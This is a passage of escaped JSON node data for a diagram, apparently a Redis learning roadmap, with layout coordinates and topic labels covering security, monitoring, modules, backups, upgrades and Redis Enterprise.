\"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -232.0301527130956,\n        \"y\": 2574.728124123601\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wsuKH7YwGDV6GYQbdhA4o\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -232.0301527130956,\n        \"y\": 2627.728124123601\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Network Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qy42paiTUsO8HIwbWTMui\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -232.0301527130956,\n        \"y\": 2627.728124123601\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gdiWwTQg6A-BFHdQBmgmH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -232.0301527130956,\n        \"y\": 2680.728124123601\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SSL/TLS Encryption\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wsuKH7YwGDV6GYQbdhA4o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -232.0301527130956,\n        \"y\": 2680.728124123601\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k9HeweEN4enuboEppbJiP\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 28.876322242962374,\n        \"y\": 2740.3630425975985\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Monitoring / Optimization\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"zmVjMf9wNHARBS_mBY4lY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 269,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 65\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 28.876322242962374,\n        \"y\": 2740.3630425975985\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"q2Jw49QUWCUGIfcEC1bZI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.05051776655154,\n        \"y\": 2972.2582055339226\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"INFO\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jBtEiylcedtaE6E20Uk4V\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.05051776655154,\n        \"y\": 2972.2582055339226\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jBtEiylcedtaE6E20Uk4V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 150.47128940990217,\n        \"y\": 2972.2582055339226\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MONITOR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 150.47128940990217,\n        \"y\": 2972.2582055339226\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_Pc7nNLnVFca8Wn3DjOfL\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 103.35425900731707,\n        \"y\": 3027.634878285732\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Built-in Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"gEDpVuVAS0oZv7rlku8LH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 34,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 33.5302734375\n      },\n      \"positionAbsolute\": {\n        \"x\": 103.35425900731707,\n        \"y\": 3027.634878285732\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 34\n      }\n    },\n    {\n      \"id\": \"XBPwHgIsXupMsyoOFkJZ0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.05051776655154,\n        \"y\": 3066.634878285732\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RedisInsight\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y5FPSAi6T-5X9SUfR58_-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.05051776655154,\n        \"y\": 3066.634878285732\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y5FPSAi6T-5X9SUfR58_-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.05051776655154,\n        \"y\": 3120.634878285732\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RedisCommander\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.05051776655154,\n        \"y\": 3120.634878285732\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gEDpVuVAS0oZv7rlku8LH\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 99.36093890060175,\n        \"y\": 3172.716632468731\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"3rd Party Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 99.36093890060175,\n        \"y\": 3172.716632468731\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"YFNh64DIbJJPQrm5fquvi\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3170.0682184225393\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performance Optimization\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3170.0682184225393\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"xF0wQYmtwXYkrzvWg5gOO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -209.03386624713073,\n        \"y\": 2951.0682184225393\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Memory Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -209.03386624713073,\n        \"y\": 2951.0682184225393\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sd1ENOXSFCz1YqccXjr2A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -209.03386624713073,\n        \"y\": 2898.0682184225393\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Max Memory Policy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -209.03386624713073,\n        \"y\": 2898.0682184225393\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yaCWw2KjX58SaPajUAb0d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3004.0682184225393\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Slow Log Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3004.0682184225393\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kgHwK4N-sfh6dHjd_D_me\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3057.0682184225393\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"redis-benchmark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 216\n      },\n      \"positionAbsolute\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3057.0682184225393\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2p5RF4lVYfRvYTo1Ofm-a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3110.0682184225393\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -209.03386624713073,\n        \"y\": 3110.0682184225393\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L0t6e1P83aaoa3B9OUT-8\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 13.997184791950758,\n        \"y\": 3161.5956068302976\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 53,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 53,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 13.997184791950758,\n        \"y\": 3161.5956068302976\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 53,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"PSQ274asgr1EEnim7U-eh\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -307.03386624713073,\n        \"y\": 3158.0956068302976\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"L0t6e1P83aaoa3B9OUT-8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -307.03386624713073,\n        \"y\": 3158.0956068302976\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"hLIT00Iz7rV56ZBIUhWYn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -460.32324473151516,\n        \"y\": 3143.5956068302976\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -460.32324473151516,\n        \"y\": 3143.5956068302976\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jicsfYw56VrbRUt7M8c85\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -468.32324473151516,\n        \"y\": 3063.899240143158\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RedisJSON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -468.32324473151516,\n        \"y\": 3063.899240143158\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_GdTXcJO8uJlhPdfrmeXG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -468.32324473151516,\n        \"y\": 2904.899240143158\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177\n      },\n      \"positionAbsolute\": {\n        \"x\": -468.32324473151516,\n        \"y\": 2904.899240143158\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RBr8opWSh2TKXC8Fmdg0j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -468.32324473151516,\n        \"y\": 2957.899240143158\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RedisTimeSeries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177\n      },\n      \"positionAbsolute\": {\n        \"x\": -468.32324473151516,\n        \"y\": 2957.899240143158\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GwVL5CvbnHsiWb1hVh7lK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -468.32324473151516,\n        \"y\": 3010.899240143158\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RedisBloom\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177\n      },\n      \"positionAbsolute\": {\n        \"x\": -468.32324473151516,\n        \"y\": 3010.899240143158\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vWOOOTjEx8Ycz1NA0xZad\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -547.3232447315152,\n        \"y\": 3289.9218306559433\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Managing Redis in Production\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"k9HeweEN4enuboEppbJiP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 335,\n      \"height\": 58,\n      \"style\": {\n        \"width\": 335,\n        \"height\": 58\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -547.3232447315152,\n        \"y\": 3289.9218306559433\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 58\n      }\n    },\n    {\n      \"id\": \"giyKPtQ-pziA064P8OQD-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 45.96613375286927,\n        \"y\": 3294.4218306559433\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"redis.conf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 45.96613375286927,\n        \"y\": 3294.4218306559433\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GPsf1hc9hXNKgutGCribk\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 45.96613375286927,\n        \"y\": 3348.3314038676613\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Important Configurations\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"-gCy7Uj64KQJ39IYb_Vph\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 45.96613375286927,\n        \"y\": 3348.3314038676613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"wXRDsNGFckXV_CSiit5sN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 41.96613375286927,\n        \"y\": 3435.2725756087743\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backup and Recovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8lyXDuZJ-KHl4v2_8Ew1h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 41.96613375286927,\n        \"y\": 3435.2725756087743\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-gCy7Uj64KQJ39IYb_Vph\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 65.370749690558,\n        \"y\": 3489.2725756087743\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RDB and AOF Files\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 165,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 65.370749690558,\n        \"y\": 3489.2725756087743\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Cb-KazR4PuR86VX5oT0zi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -401.8779496312137,\n        \"y\": 3434.2725756087743\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Upgrading Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8lyXDuZJ-KHl4v2_8Ew1h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -401.8779496312137,\n        \"y\": 3434.2725756087743\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"VgqFVVf1rYiSbYLeUO6KL\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -398.3779496312137,\n        \"y\": 3488.032210578755\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Minimizing Downtimes\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -398.3779496312137,\n        \"y\": 3488.032210578755\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"nUIfTkgm3PlSiqgun1BS7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -727.9644850173872,\n        \"y\": 3435.2725756087743\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Disaster Recovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8lyXDuZJ-KHl4v2_8Ew1h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -727.9644850173872,\n        \"y\": 3435.2725756087743\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"8lyXDuZJ-KHl4v2_8Ew1h\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -727.9644850173872,\n        \"y\": 3552.753447069508\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis Enterprise\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": -727.9644850173872,\n        \"y\": 3552.753447069508\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"RwGWF4dtvfhcORWz7lisg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -715.4644850173872,\n        \"y\": 3813.6036656653055\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Enterprise Features\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -715.4644850173872,\n        \"y\": 3813.6036656653055\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"cybF72wlJyJbHLUjitLvn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -765.4644850173872,\n        \"y\": 3647.6036656653055\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Active-Active geo Distribution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ujs77bV8g8-FOm5hBtZFd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -765.4644850173872,\n        \"y\": 3647.6036656653055\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sWOFnbh2EyaHRzquz1UeF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -765.4644850173872,\n        \"y\": 3700.6036656653055\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Redis on Flash\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ujs77bV8g8-FOm5hBtZFd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -765.4644850173872,\n        \"y\": 3700.6036656653055\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ujs77bV8g8-FOm5hBtZFd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -765.4644850173872,\n        \"y\": 3753.6036656653055\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Security and Compliance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -765.4644850173872,\n        \"y\": 3753.6036656653055\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JlLwy69eQ1bPHAOOJNqjo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -773.4644850173872,\n        \"y\": 3851.6036656653055\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"When to consider enterprise?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 